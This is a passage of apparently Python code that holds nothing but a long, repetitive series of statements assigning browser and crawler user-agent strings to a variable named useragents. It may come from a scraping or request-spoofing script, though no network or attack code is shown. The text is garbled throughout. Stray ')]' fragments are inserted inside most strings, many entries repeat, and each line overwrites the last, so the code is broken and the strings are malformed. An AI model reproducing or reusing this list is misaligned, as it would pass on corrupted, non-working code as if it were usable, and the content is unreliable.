OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; 